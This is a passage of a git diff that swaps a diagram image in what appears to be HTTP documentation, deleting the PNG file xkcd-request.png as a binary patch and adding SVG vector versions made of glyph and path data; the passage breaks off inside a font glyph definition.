+  <use xlink:href="#glyph1-5" x="271.848524" y="194.008681"/>
+  <use xlink:href="#glyph1-1" x="275.737413" y="194.008681"/>
+  <use xlink:href="#glyph1-25" x="285.459635" y="194.008681"/>
+  <use xlink:href="#glyph1-26" x="293.515191" y="194.008681"/>
+  <use xlink:href="#glyph1-27" x="304.90408" y="194.008681"/>
+  <use xlink:href="#glyph1-28" x="312.40408" y="194.008681"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.3 12 C 24.134375 12 24 12.134375 24 12.3 L 24 14.885352 C 24 15.050977 24.134375 15.185352 24.3 15.185352 L 32.001172 15.185352 C 32.166992 15.185352 32.301172 15.050977 32.301172 14.885352 L 32.301172 12.3 C 32.301172 12.134375 32.166992 12 32.001172 12 Z M 24.3 12 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-13" x="369.441406" y="148.154514"/>
+  <use xlink:href="#glyph0-6" x="378.052517" y="148.154514"/>
+  <use xlink:href="#glyph0-2" x="386.385851" y="148.154514"/>
+  <use xlink:href="#glyph0-12" x="391.941406" y="148.154514"/>
+  <use xlink:href="#glyph0-6" x="399.719184" y="148.154514"/>
+  <use xlink:href="#glyph0-2" x="408.052517" y="148.154514"/>
+  <use xlink:href="#glyph0-11" x="413.608073" y="148.154514"/>
+  <use xlink:href="#glyph0-14" x="418.052517" y="148.154514"/>
+  <use xlink:href="#glyph0-2" x="426.941406" y="148.154514"/>
+  <use xlink:href="#glyph0-6" x="432.496962" y="148.154514"/>
+  <use xlink:href="#glyph0-14" x="440.830295" y="148.154514"/>
+  <use xlink:href="#glyph0-15" x="449.719184" y="148.154514"/>
+  <use xlink:href="#glyph0-2" x="457.77474" y="148.154514"/>
+  <use xlink:href="#glyph0-6" x="463.330295" y="148.154514"/>
+  <use xlink:href="#glyph0-5" x="471.663628" y="148.154514"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-16" x="365.828125" y="173.556858"/>
+  <use xlink:href="#glyph0-17" x="371.383681" y="173.556858"/>
+  <use xlink:href="#glyph0-6" x="380.272569" y="173.556858"/>
+  <use xlink:href="#glyph0-11" x="388.605903" y="173.556858"/>
+  <use xlink:href="#glyph0-14" x="393.050347" y="173.556858"/>
+  <use xlink:href="#glyph0-15" x="401.939236" y="173.556858"/>
+  <use xlink:href="#glyph0-18" x="409.994792" y="173.556858"/>
+  <use xlink:href="#glyph0-6" x="418.883681" y="173.556858"/>
+  <use xlink:href="#glyph0-19" x="426.939236" y="173.556858"/>
+  <use xlink:href="#glyph0-5" x="429.439236" y="173.556858"/>
+  <use xlink:href="#glyph0-11" x="436.383681" y="173.556858"/>
+  <use xlink:href="#glyph0-20" x="440.828125" y="173.556858"/>
+  <use xlink:href="#glyph0-21" x="451.661458" y="173.556858"/>
+  <use xlink:href="#glyph0-22" x="460.828125" y="173.556858"/>
+  <use xlink:href="#glyph0-23" x="473.883681" y="173.556858"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8.3 18 C 8.134375 18 8 18.134375 8 18.3 L 8 19.7 C 8 19.865625 8.134375 20 8.3 20 L 13.7 20 C 13.865625 20 14 19.865625 14 19.7 L 14 18.3 C 14 18.134375 13.865625 18 13.7 18 Z M 8.3 18 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="52.816406" y="269.00217"/>
+  <use xlink:href="#glyph0-2" x="62.260851" y="269.00217"/>
+  <use xlink:href="#glyph0-3" x="67.816406" y="269.00217"/>
+  <use xlink:href="#glyph0-4" x="76.427517" y="269.00217"/>
+  <use xlink:href="#glyph0-5" x="88.371962" y="269.00217"/>
+  <use xlink:href="#glyph0-6" x="95.316406" y="269.00217"/>
+  <use xlink:href="#glyph0-2" x="103.64974" y="269.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 18 C 22.134375 18 22 18.134375 22 18.3 L 22 19.7 C 22 19.865625 22.134375 20 22.3 20 L 27.7 20 C 27.865625 20 28 19.865625 28 19.7 L 28 18.3 C 28 18.134375 27.865625 18 27.7 18 Z M 22.3 18 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="321.429688" y="269.00217"/>
+  <use xlink:href="#glyph0-8" x="329.763021" y="269.00217"/>
+  <use xlink:href="#glyph0-9" x="337.540799" y="269.00217"/>
+  <use xlink:href="#glyph0-10" x="344.763021" y="269.00217"/>
+  <use xlink:href="#glyph0-11" x="353.65191" y="269.00217"/>
+  <use xlink:href="#glyph0-5" x="358.096354" y="269.00217"/>
+  <use xlink:href="#glyph0-6" x="365.040799" y="269.00217"/>
+  <use xlink:href="#glyph0-2" x="373.374132" y="269.00217"/>
+  <use xlink:href="#glyph0-12" x="378.929688" y="269.00217"/>
+  <use xlink:href="#glyph0-6" x="386.707465" y="269.00217"/>
+  <use xlink:href="#glyph0-2" x="395.040799" y="269.00217"/>
+</g>
+</g>
+</svg>
diff --git a/_images/http/xkcd-request.png b/_images/http/xkcd-request.png
deleted file mode 100644
index 310713d304cff080a6df17ad715f5b33aa4e5b16..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 6991
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

diff --git a/_images/http/xkcd-request.svg b/_images/http/xkcd-request.svg
new file mode 100644
index 00000000000..6a21280ca34
--- /dev/null
+++ b/_images/http/xkcd-request.svg
@@ -0,0 +1,191 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="441pt" height="201pt" viewBox="0 0 441 201" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 